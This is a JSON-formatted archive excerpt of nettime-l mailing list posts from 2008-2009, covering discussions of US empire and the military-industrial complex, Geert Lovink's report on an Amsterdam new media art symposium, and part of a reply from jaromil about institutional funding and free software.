exchange is one of the ways to leave \nbehind the imperial tendency to oppressive hegemony, but without falling \nback into essentialism and identity-thinking.\n\n> A problem that worries me on a more day to day basis and that follows\n> directly from your account of the reduction and shifts of foreign US\n> military basis is the question of the demilitarisation of society, and the\n> technology and research sector in particular. It seems to me that there is\n> a continuing legacy of the cold war era in which the military / industrial\n> complex attempts to hold its ground, not just in the US, but also in the\n> Russian Federation and many of the post-Soviet and other 'Western' powers,\n> in terms of contracts, jobs, positions, production-infrastructures,\n> international market-shares, entrenched financial positions. I.e. this is\n> now a completely post-ideological space of political action.\n\nYou are so right. The vampires are keeping the cold warbody \"alive\" so \nthat they can maintain the dead-end mode of production that has been put \nin place since, or rather by, the Second World War.\n\n> Especially the domain of technological research and development has become\n> so deeply militarised (fuelled even further by the 'war on terror'\n> discourse) that it becomes difficult to imagine how to get rid of this\n> condition. A reliable inside source told me years ago that even a\n> relatively 'civil'-looking institution such as the MIT Media-Lab was at\n> the time supported for more than 65 percent by military funding, carrying\n> out projects that are conducted in utter secrecy, about which we can\n> safely assume that they exist, but about which we cannot get any reliable\n> information as to what they are and what they aim for. Stuff that you will\n> never see on their public web pages. No doubt this percentage has only\n> grown since, and it is presumably even worse in many other technological\n> R&D centres.\n >\n> How do \"we\" as cultural producers, critics, artists, deal with such\n> realities if we are so prominently working in and with the products of\n> this technological domain? How to bring this back to the civil domain?\n\nI think this remains the key question. In my reading, for instance, A \nThousand Plateaus is entirely about this question, it's about subverting \nand derailing the warmachine of the state, mostly from within, through \nthe undermining of what they call \"royal science.\" It is true that one \nalways works largely on the state's domain (that's the very definition \nof hegemony, it sets the terrain for everyone). So the question you \nraise is really the central problem, culturally as well as politically.\n\n> Some 'help' might be expected from the apparent economic demise of the US,\n> making it increasingly difficult to provide for the upkeep for the world's\n> largest army (hence the reduction and re-alignment of foreign US military\n> bases). In effect, the upkeep is currently mostly financed by China.\n\nActually, Japanese capital remains tremendously important as well... \nAlong with Middle Eastern and European money, the genius of empires has \nalways been to get others paying tribute. Basically because they want \nthe protection of -- or are frankly afraid of -- the empire's military. \nHowever, this seems to be headed for a change. A collapse of the dollar, \na real run on the dollar, would signify a radical change. We will see... \nI am not betting on it as I think that everyone is afraid of such a \nviolent turnabout. I think the strategy of the other world powers is to \nhollow the US out from the inside, and then just wait and see what can \nbe done about the hard core of the military, wait and see whether it \nwill really decline along with the middle class and the old bridges and \nlevees and so on. The strategy of the US, as Brzezinski said flat out in \nThe Grand Chessboard, is to hold on to hegemony as long as possible.\n\n> This\n> is, however, certainly not a problem of the US alone, and it plays out\n> very differently in different contexts. The shared problem faced is how to\n> turn this trend around (without a complete collapse), how to civilise the\n> technological domain?\n\nThanks, Eric, it is great to see that we can finally ask a big question \nagain. All that tactical shyness was kinda buggin' me...\n\n> This is one area where the search for alternatives seems highly urgent,\n> and it will require more than a process of mere 'negation' - A process of\n> negation of dominant symbolic modes of hegemonic domination only serves to\n> show that an infinity of other worlds is possible, I would say.\n\nIndeed, the continued return to avant-garde negation is pointless. I \nthink it is intimately bound up with the tautological self-reference of \nart to itself alone, which is strangely persistent, mainly because it \nwas institutionalized as the definition of modern art (another zombie \ncategory as Ulrich Beck puts it). My off-the-cuff manifesto was meant to \nsay that self-reference and radical negation ought to be things of the \npast for art - stages which have truly been overcome - so I heartily \nagree with the above!\n\n> Well anyway, just some thought on a damp Sunday afternoon (it's hot and\n> wet in Amsterdam).\n\nHmm, can we hope for more such reflective weather in the future? It's \npretty hot in Paris but it only rains at night!\n\n> bests,\n> Eric\n\nmy best to all as well, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00111",
                        "date": "Sun, 27 Jul 2008 21:54:26 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "488CD272.6060900 {AT} wanadoo.fr",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00111.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Ed Phillips <ed {AT} cronos.net>",
                                "content": "> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n\n\nYes. Exactly, Brian. One system, human made, human struggled over which is\nsomething that I think that our squatting here on nettime is about. \n\nAnother way to look at power is at its insecurity, it's vulnerability. Not\nonly is it not total in a deterministic sense, our sense of determinism\nbeing the index of a collective passivity, it is profoundly insecure and in\nneed of constant reassurance.\n\nEmpire has always been so. When I first saw Velasquez's portrait of that\ngrandly dominant despot, Felipe el Segundo, I could see as clearly as I see\nthe profound weakness and insecurity and even pathos of our \"fearless\"\npygmy leaders, felipe's profound insecurity before the gaze and the brush\nof the artist, of the other. \n\nThe insecurity before the gaze of those who wield the means of the\nproduction of representation or vorstellung. The despot feels that profound\ninsecurity because he has a first person seated view of the hallucinations,\nof the hallucinated reinvestment in old dead fig leafs, old dead emblems\nand magical insignia of a power that never was. The very form that power\ntakes is of a reinvestment in what one hopes must have been a reassuring\nhallucination at some previous time by some prior regime of power.\n\nPower, and here I mean very particular people acting as agents of power,\nhallucinates and reinvests in outmoded hallucinations first and then\nsamples and tests and adapts as best it can it's very clumsy and unwieldy\nhallucinations and representations.\n\nProsthetic power is even more insecure as it adapts itself also to the\ntechnical apparatus and machine ontology that is coming into being even as\nthe multitude is coming into being.\n\n\n\nOn Fri, Jul 25, 2008 at 01:54:57AM +0200, Brian Holmes wrote:\n> \n> Ed Phillips asked:\n> \n> >  why the sales job for a bizarre complex\n> > that is directed at more and more excessive, spectacular, even arbitrary\n> > displays of power that will never be used is so successful. Here the image\n> > comes to mind of jet fighters that rotate on a dime. Something so insanely\n> > exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> > test.\n> \n> I was wondering about exactly this today, as I read in the New York \n> Times about four air force generals seeking $16 million in public monies \n> to build two-room designer-appointed \"comfort capsules\" for their \n> personal transport through the imperial skies. But then my curiosity \n> only mounted higher as my eye moved further down the page, where I read \n> about the Bush administration plans to use $230 million of \n> \"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \n> said the timing was driven by deadlines of the American contractor, \n> Lockheed Martin.\" No further comment about those deadlines then ensued...\n> \n> > Brian keeps making some very fundamental points that I do not see mentioned\n> > enough, and he is thinking \"with\" them:\n> > \n> > 1. Is to think in terms of geocapital and the nation states and Empire(s)\n> >    as a complex interweaving, a totality.\n> \n> Thanks for noticing that, Ed. One of the real interesting things that \n> became concrete for me in South Korea (though I already understood it \n> theoretically) was the way that Fordist and military-industrial \n> development has been driven, in both countries, by the deliberate \n> maintenance of red-alert status at the 38th parallel. Far-off sites of \n> conflict that Americans only see in the movies serve as pretexts for the \n> development of the most sophisticated weapons imaginable (never forget \n> that the US military budget is now as big as the rest of the world's \n> combined). Meanwhile on the soil of that far-off site something \n> different has been happening: build-up of heavy industry under \n> dictatorial discipline until from 1960 to 1988, then rapid \n> neoliberalization peaking with the 1997 Asian crisis to throw the \n> country open to outside capital looking to feed on educated labor. The \n> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n> \n> best, BH\n> \n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00097",
                                "date": "Fri, 25 Jul 2008 11:28:43 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20080725182843.GA27785 {AT} cvs.realtimematrix.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00097.html",
                                "content-type": "text/plai",
                                "author_name": "Ed Phillips",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            },
                            {
                                "from": "Ed Phillips <ed {AT} cronos.net>",
                                "content": "> Empire has always been so. When I first saw Velasquez's portrait of that\n> grandly dominant despot, Felipe el Segundo, I could see as clearly as I see\n> the profound weakness and insecurity and even pathos of our \"fearless\"\n> pygmy leaders, felipe's profound insecurity before the gaze and the brush\n> of the artist, of the other. \n\nIt's funny how as I typed that up, I replaced, in a kind of slip, Felipe el\ncuarto with el segundo, his dead ancestor, in comparison to which el cuarto\ncame off as some kind of dandyish pygmy, even as Bush II is to his father.\nThe state as Empire grows in power as it decays in form and representation.\nVelazquez's realism is a kind of leading, testing edge of a regime deeply\ncommitted to hallucination and counter-reformation. It needs the labyrinth\nof a tentative, delayed realism to keep alive the obscenity of its\nhallucination.  Velazquez plays with and represents that labyrinth of\nrepresentation in which the ghostly sovereign appears in a glass darkly.\n\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00098",
                                "date": "Fri, 25 Jul 2008 13:38:51 -0700",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20080725203850.GA19886 {AT} cvs.realtimematrix.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00098.html",
                                "content-type": "text/plai",
                                "author_name": "Ed Phillips",
                                "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                            }
                        ],
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "\nEd Phillips asked:\n\n>  why the sales job for a bizarre complex\n> that is directed at more and more excessive, spectacular, even arbitrary\n> displays of power that will never be used is so successful. Here the image\n> comes to mind of jet fighters that rotate on a dime. Something so insanely\n> exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> test.\n\nI was wondering about exactly this today, as I read in the New York \nTimes about four air force generals seeking $16 million in public monies \nto build two-room designer-appointed \"comfort capsules\" for their \npersonal transport through the imperial skies. But then my curiosity \nonly mounted higher as my eye moved further down the page, where I read \nabout the Bush administration plans to use $230 million of \n\"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \nsaid the timing was driven by deadlines of the American contractor, \nLockheed Martin.\" No further comment about those deadlines then ensued...\n\n> Brian keeps making some very fundamental points that I do not see mentioned\n> enough, and he is thinking \"with\" them:\n> \n> 1. Is to think in terms of geocapital and the nation states and Empire(s)\n>    as a complex interweaving, a totality.\n\nThanks for noticing that, Ed. One of the real interesting things that \nbecame concrete for me in South Korea (though I already understood it \ntheoretically) was the way that Fordist and military-industrial \ndevelopment has been driven, in both countries, by the deliberate \nmaintenance of red-alert status at the 38th parallel. Far-off sites of \nconflict that Americans only see in the movies serve as pretexts for the \ndevelopment of the most sophisticated weapons imaginable (never forget \nthat the US military budget is now as big as the rest of the world's \ncombined). Meanwhile on the soil of that far-off site something \ndifferent has been happening: build-up of heavy industry under \ndictatorial discipline until from 1960 to 1988, then rapid \nneoliberalization peaking with the 1997 Asian crisis to throw the \ncountry open to outside capital looking to feed on educated labor. The \ncomplex interweaving produces very different political and cultural \noutlooks as part of one internally differentiated system. Yet I would \nagree with Keith that this does not make \"totality,\" not even the \ntotality of something called kapitalism. The imperial interweave is a \nsystem of power, it's dominant, it imposes its militarist will in \nstaggeringly violent and absurd ways, yet there is so much else to life \nunder the sun and the stars and the electric streetlamps. No less \nimportant than the act of looking into the eye of power is the act of \nlooking away.\n\nbest, BH\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00094",
                        "date": "Fri, 25 Jul 2008 01:54:57 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "48891651.60004 {AT} wanadoo.fr",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00094.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "Ed Phillips <ed {AT} cronos.net>",
                        "content": "> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n\n\nYes. Exactly, Brian. One system, human made, human struggled over which is\nsomething that I think that our squatting here on nettime is about. \n\nAnother way to look at power is at its insecurity, it's vulnerability. Not\nonly is it not total in a deterministic sense, our sense of determinism\nbeing the index of a collective passivity, it is profoundly insecure and in\nneed of constant reassurance.\n\nEmpire has always been so. When I first saw Velasquez's portrait of that\ngrandly dominant despot, Felipe el Segundo, I could see as clearly as I see\nthe profound weakness and insecurity and even pathos of our \"fearless\"\npygmy leaders, felipe's profound insecurity before the gaze and the brush\nof the artist, of the other. \n\nThe insecurity before the gaze of those who wield the means of the\nproduction of representation or vorstellung. The despot feels that profound\ninsecurity because he has a first person seated view of the hallucinations,\nof the hallucinated reinvestment in old dead fig leafs, old dead emblems\nand magical insignia of a power that never was. The very form that power\ntakes is of a reinvestment in what one hopes must have been a reassuring\nhallucination at some previous time by some prior regime of power.\n\nPower, and here I mean very particular people acting as agents of power,\nhallucinates and reinvests in outmoded hallucinations first and then\nsamples and tests and adapts as best it can it's very clumsy and unwieldy\nhallucinations and representations.\n\nProsthetic power is even more insecure as it adapts itself also to the\ntechnical apparatus and machine ontology that is coming into being even as\nthe multitude is coming into being.\n\n\n\nOn Fri, Jul 25, 2008 at 01:54:57AM +0200, Brian Holmes wrote:\n> \n> Ed Phillips asked:\n> \n> >  why the sales job for a bizarre complex\n> > that is directed at more and more excessive, spectacular, even arbitrary\n> > displays of power that will never be used is so successful. Here the image\n> > comes to mind of jet fighters that rotate on a dime. Something so insanely\n> > exhorbitant in expenditure, flaming, flaring off, exploding in test after\n> > test.\n> \n> I was wondering about exactly this today, as I read in the New York \n> Times about four air force generals seeking $16 million in public monies \n> to build two-room designer-appointed \"comfort capsules\" for their \n> personal transport through the imperial skies. But then my curiosity \n> only mounted higher as my eye moved further down the page, where I read \n> about the Bush administration plans to use $230 million of \n> \"counter-terrorism\" money to upgrade Pakistan's F-16s. \"The officials... \n> said the timing was driven by deadlines of the American contractor, \n> Lockheed Martin.\" No further comment about those deadlines then ensued...\n> \n> > Brian keeps making some very fundamental points that I do not see mentioned\n> > enough, and he is thinking \"with\" them:\n> > \n> > 1. Is to think in terms of geocapital and the nation states and Empire(s)\n> >    as a complex interweaving, a totality.\n> \n> Thanks for noticing that, Ed. One of the real interesting things that \n> became concrete for me in South Korea (though I already understood it \n> theoretically) was the way that Fordist and military-industrial \n> development has been driven, in both countries, by the deliberate \n> maintenance of red-alert status at the 38th parallel. Far-off sites of \n> conflict that Americans only see in the movies serve as pretexts for the \n> development of the most sophisticated weapons imaginable (never forget \n> that the US military budget is now as big as the rest of the world's \n> combined). Meanwhile on the soil of that far-off site something \n> different has been happening: build-up of heavy industry under \n> dictatorial discipline until from 1960 to 1988, then rapid \n> neoliberalization peaking with the 1997 Asian crisis to throw the \n> country open to outside capital looking to feed on educated labor. The \n> complex interweaving produces very different political and cultural \n> outlooks as part of one internally differentiated system. Yet I would \n> agree with Keith that this does not make \"totality,\" not even the \n> totality of something called kapitalism. The imperial interweave is a \n> system of power, it's dominant, it imposes its militarist will in \n> staggeringly violent and absurd ways, yet there is so much else to life \n> under the sun and the stars and the electric streetlamps. No less \n> important than the act of looking into the eye of power is the act of \n> looking away.\n> \n> best, BH\n> \n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00097",
                        "date": "Fri, 25 Jul 2008 11:28:43 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20080725182843.GA27785 {AT} cvs.realtimematrix.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00097.html",
                        "content-type": "text/plai",
                        "author_name": "Ed Phillips",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    },
                    {
                        "from": "Ed Phillips <ed {AT} cronos.net>",
                        "content": "> Empire has always been so. When I first saw Velasquez's portrait of that\n> grandly dominant despot, Felipe el Segundo, I could see as clearly as I see\n> the profound weakness and insecurity and even pathos of our \"fearless\"\n> pygmy leaders, felipe's profound insecurity before the gaze and the brush\n> of the artist, of the other. \n\nIt's funny how as I typed that up, I replaced, in a kind of slip, Felipe el\ncuarto with el segundo, his dead ancestor, in comparison to which el cuarto\ncame off as some kind of dandyish pygmy, even as Bush II is to his father.\nThe state as Empire grows in power as it decays in form and representation.\nVelazquez's realism is a kind of leading, testing edge of a regime deeply\ncommitted to hallucination and counter-reformation. It needs the labyrinth\nof a tentative, delayed realism to keep alive the obscenity of its\nhallucination.  Velazquez plays with and represents that labyrinth of\nrepresentation in which the ghostly sovereign appears in a glass darkly.\n\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00098",
                        "date": "Fri, 25 Jul 2008 13:38:51 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20080725203850.GA19886 {AT} cvs.realtimematrix.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0807/msg00098.html",
                        "content-type": "text/plai",
                        "author_name": "Ed Phillips",
                        "subject": "Re: <nettime> 50 Ways To Leave Your Lover"
                    }
                ],
                "message-id": "488657B4.7070501 {AT} wanadoo.fr",
                "date": "Tue, 22 Jul 2008 23:57:08 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00038",
                "content": "\nOn the event of the Montevideo/Netherlands Media Art Institute 30th  \nanniversary, departing curator Susanne Jaschko put together a one day  \nsymposium entitled Positions in Flux. R\u00e9gine Debatty at We Make Money  \nNot Art blogged about it. Unfortunately, I was only able to attend the  \nmorning session. The event on May 8 2009 took place in Trouw  \nAmsterdam, the followup of Club 11. From what I heard, Positions at  \nFlux had a critical take towards the common media art discourse and  \nasked relevant questions. It was a relief to see that the attention  \nwas, for once, not focused on history, preservation and conservation.  \nCultural heritage has already taken over way too much attention space\u2013 \nin part because this is one of the few areas where there is still  \nplenty of funding. Sigh. Just for one day, no celebration of \u201cmedium  \nreligion\u201d or \u201cart meets science\u201d. Director Heiner Holtappels opened by  \nnoticing that new media art is not easily accepted by fine art.  \nTraditional art has become eclecticism. According to Heiner, all art  \nis technology based. The subject of the symposium was a visible break  \nwith the video art heritage that Montevideo has been known for.  \nPolitics topics, a courageous step? \u201cIs there a future for us?\u201d is a  \nquestion not many institutions dare to ask. In the Dutch daily De  \nVolkskrant of that day, ex-Montevideo curator Bart Rutten (now  \nStedelijk Museum) took up the role of expressing the ambivalent  \nfeelings of the Dutch art establishment towards the new but no longer  \nyoung art form. Whereas he praised Montevideo\u2019s work, he himself had  \nmoved on. \u201cYou can ask yourself if Montevideo should continue to show  \nonly media art works. In this way they preserve their specialism. It  \nwas my main reason to leave.\u201d\n\nIn Zero Comments I mapped the current challenges for new media arts.  \nWhile society at large is inundated with (new) media, the art branch  \nthat deals with the digital moved itself in a ghetto. While this  \nanalysis still holds up, many in the sector openly admitted the  \nshortcomings and are now putting in place strategies to escape the  \ndead end street. Technology has lost its original fascination, while  \nspreading even faster in society. Is this a reason enough to abandon  \nthe field? While experimentation with electronics and the digital  \nmight have lost its aura and the spirit of curiosity has somewhat  \nfained, the field of new media arts at large is still growing, despite  \ninstitutional setbacks here and there. What most participants shared  \nwas the feeling that, despite the intimidating institutional violence  \nof the large players, museums will die or become a zoo if they do not  \ndeal with the Digital. Some say new media arts lacks the timeliness  \nand the depth. Whereas ICA London closed its media lab, Laboral in the  \nNorth of Spain, which opened in 2007, is now a large exhibition space,  \ndevoted to media art. Chairman Chris Keulemans emphasized that new  \nmedia arts was always at it best when it criticized the media itself,  \nwith its codes and nodes. Each of the three presentations in the  \nmorning session gave a different answer to the question how relevant  \npolitical work could be produced.\n\nThe Iraqi-American artist Wafaa Bilal is known from his installation  \nDomestic Tension, in which the artist lived in a gallery space for a  \nmonth, pointed at by paint ball gun operated by web users. Shoot an  \nIraqi had 80 million visitors and, according to Bilal, was a \u201cstrange  \nmix of aesthetic pain and pleasure.\u201d What made the work so popular was  \nthe power of viral connections, in particular through chatrooms and  \nvideo he put online. What happened here was a confrontation between  \nconflict zone and comfort zone, disengagement and engagement, virtual  \nversus physical platform \u2014 both in the case of the artwork and war in  \nIraq itself. Bilal concluded that the body has its own language that  \nis not in sync with the electronic reality. Bilal made a distinction  \nbetween interactive works, in which the end-states is already  \ndetermined, and dynamic pieces that are open ended. A lot of the old  \nschool new media art is interactive. Increased user participated was  \nillustrated in Bilal\u2019s story of the \u2018virtual human shield\u2019, a group of  \npeople that gathered to protect the artist from being shot at. Dog or  \nIraqi was a month long online debate who gets waterboarded: a dog or  \nan Iraqi? Bilal also briefly discussed his modded version of a 2003 US  \nshooting game that he renamed into Virtual Jihadi. Instead of killing  \nSadam the user can now hunt GW Bush. This and other projects were  \ndocumented in Wafaa Bilal, Shoot an Iraqi (City Light Books, San  \nFrancisco, 2008).\n\nFormer Etoy Hans Bernard of Uebermorgen.com didn\u2019t show projects but  \nread a text concerning the role of \u201cEuropean techno fine art avant  \ngarde.\u201d I am great fan of Uebermorgen. It\u2019s in fact becoming  \nimpossible to list all their interventions and hacks. Uebermorgen is  \nall about \u201csurreal outcomes\u201d, not bound by any medium. \u201cThe  \ntransformation from digital to physical is important. The work is not  \npop art, it is rock art. We are not activists, we are actionists.\u201d For  \na while seeking large audiences was a thrill, but that\u2019s no longer the  \nmain motivation. There is a new strategy for each new project. Bernard  \ndid his best to prove that Uebermorgen\u2019s intentions were neither  \npolitical nor ideological. The aim should be Art, not Politics.  \nCommunication is the 9-5 job, but that not the passion. Bernard\u2019s  \ninsistence on the non-political status didn\u2019t convince. Uebermorgen\u2019s  \nclaim, not to have any political agenda, refers to an ancient, rigid  \ndefinition that was already problematic in the late seventies when I  \nstudied political science. Maybe in Austria politics is still  \nassociated with corrupt parties and fat, ugly politicians but  \nelsewhere in the world people use a much broader definition of \u201cthe  \npolitical\u201d. His insistence on artistic freedom is amiable but the idea  \nthat once art becomes political it turns into politics and seizes to  \nbe art, simply doesn\u2019t hold. His separation between the private  \nopinion of the artist as a citizen and the Artist as a public figure  \nis problematic for the same reasons. Bernard\u2019s insistence  that  \n\u201cperception and production need to separated\u201d sounds good\u2013but we all  \nknow that visual arts no longer operates outside \u201cperception  \nmanagement.\u201d Autonomy, at least in the Dutch context, is the official  \nstate religion. We all anticipate aesthetic impact, even if we reject  \nthe categories of the day and undermine the dominant visual logic.  \nHans, there are no commissars anymore that control the ateliers. If  \nthere is any censor it\u2019s probably the Politically Correct Self. So, if  \nwe state, \u201cin production we need to be free,\u201d there is no one who will  \nstop us \u2014 but ourselves.\n\nKnowbotic Research, teaching and working in Zurich, was the third  \npresenter. Their translocal distributed temporary works avoid\u2013and seek\u2013 \nthe Political in yet another manner. Christian Huebler showcased the  \nBlackbenz Race project between Prishtina and Zurich, a city marketing  \nproposal that was refused because of its negative image of the proper  \nSwiss finance capital. The broader idea was to play with the Kosovo- \nAlbanian-Swiss people that hover in-between places. Code words are  \nfog, smoke, blurred spaces and multiple identities. The self-built  \nstealth boat project has a similar intention. The micro audiences  \nbecome actors here. Activism doesn\u2019t need more exposure and  \ntransparency. Art doesn\u2019t need moral outcry. The celebrity industry  \ntook over this role. Art questions and creates new spaces for  \nreflection. What\u2019s required are slow spaces. All three projects showed  \nthat new media art \u201cdoesn\u2019t need to be a monade, merely celebrating  \nitself.\u201d (Huebler) This is the age of entering other contexts, times  \nand spaces\u2013assisted by production houses that have in-house knowledge  \nabout the specificity, and the Eigenartigkeit, of digital technologies.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00038.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Political Work in the Aftermath of the New Media Arts\tCrisis",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "jaromil <jaromil {AT} dyne.org>",
                                        "content": "\n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n\nre all,\n\nfirst of all  thanks Matze for your consideration  of my activity, but\nlet me  warn you are  overestimating the benefits of  my collaboration\nwith Montevideo / Time Based  Arts ...  which is now called Nederlands\nInstituut voor Mediakunst  (NIMK, BTW): it takes more  to be \"rescuing\nthe middle-class fantasies  of a free arty market  of software\" as you\nsay, if  we speak of a national  institute that started in  a squat in\nAmsterdam 30 years  ago and has seen a  constant flow of contributions\nby various people  through all these years, most  of them really worth\nconsidering.\n\nOn Fri, May 15, 2009 at 05:23:12PM +0200, Matze Schmidt wrote:\n> I'd  like  to  point  out  at  this  point  that  institutions  like\n> Montevideo are revolutionizers of money, e.g. they payed Jaromil for\n> working on dynebolican stuff\n\nif it  would be just the  action of redistribution of  wealth, then it\nwouldn't  be   revolutionary  at  all.   Some   artists  produced  and\ndistributed  by Montevideo did  became rich,  but for  them Montevideo\nmostly contributed to the  production quality of their artworks rather\nthan direct funding.\n\njust consider that  if my lifestyle would be  \"middle-class fantasy\" i\ncould  not afford  to  sustainably  live in  Amsterdam  relying on  my\ncurrent employment, but lucky me i'm not a yuppie :) and i'm fine like\nthat.  for the  minimum support i get, needed as i  care to support me\nand my extended  family when needed, i have to do  much more than just\ndeveloping \"my own projects\", but still all results can be free to the\npublic,: that shouldn't be special for a public institution, right?  i\nbelieve this is the good signal  NIMK gives - not such a revolutionary\none, but pretty honest: there  are often various degrees of corruption\nleading   public  institutions  to   play  commercially   with  public\nresources.\n\nother  than that,  we can  call \"progressive  attitude\" -  rather than\nrevolutionary\" -  when institutions are keen to  interact with liminal\ncontexts,  with dwellers on  the dystopian  hearth pulsating  in every\nmetropolis of our \"Free Western World\".  This kind of interaction (and\nthe respect for the uncommon ground  in between) is indeed part of the\nheritage of  a city like Mokum  A - unfortunately  decaying rapidly as\nEurope is turning  into a Fortress for the  privileged and their fears\nof the disinherited children of the welfare mirage.\n\nat last  about the  interaction i  mention here: i'm  not sure  how to\ndefine it,  its likely  not a negotiation  nor a compromise,  i'm just\nsure  it is  necessary in  any case:  whether we  accept  the upcoming\ninstitutionalised  \"Reinvent  Yourself\"  strategy  or  not.   I  would\nrecommend  a  case-by-case  analysis  in  this  regards,  rather  than\nthinking universally... like institutions often do ;^)\n\nregarding your vague critiques let me reply:\n\n> with all effects of an open source software\"z\" driven by the mediate\n> support of the state.\n\ndyne.org  development  is not  driven  by  any  state, corporation  or\ninstitution rather  than by the  many problems these  power structures\ngenerate.  we  dedicate most  of our free  time to peer  reviewed free\nsoftware  development  in  socially  relevant  contexts  (please  note\n\"development\", not  provision of services)  and as hackers  we operate\npragmatically, on-line as well in various different on-site contexts.\n\n> But  while talking  to them  some  years ago  the Montevideo  people\n> turned out  to be  very naive in  political questions. They  have no\n> idea about  economy and  no idea of  what is  going on out  of their\n> field. That's  okay, as  long as they  incorporate all  folklore and\n> avantgarde at the sam time, because it is their mandate and mission.\n\ni'd  be  curious  to  know  what  you  consider  \"naive  in  political\nquestions\": myself  i've felt  enriched by the  past 4 and  more years\nspent  in  Amsterdam,  by my  colleagues  at  NIMK  (which is  not  so\nuniformed in its  composition BTW) as well by  the squatters in A'dam,\nfrom De Bierkoning to the Waag Society.\n\nbacking my  objection, i'll point you  out some coverage  on NIMK's 30\nyears symposium (just happened last 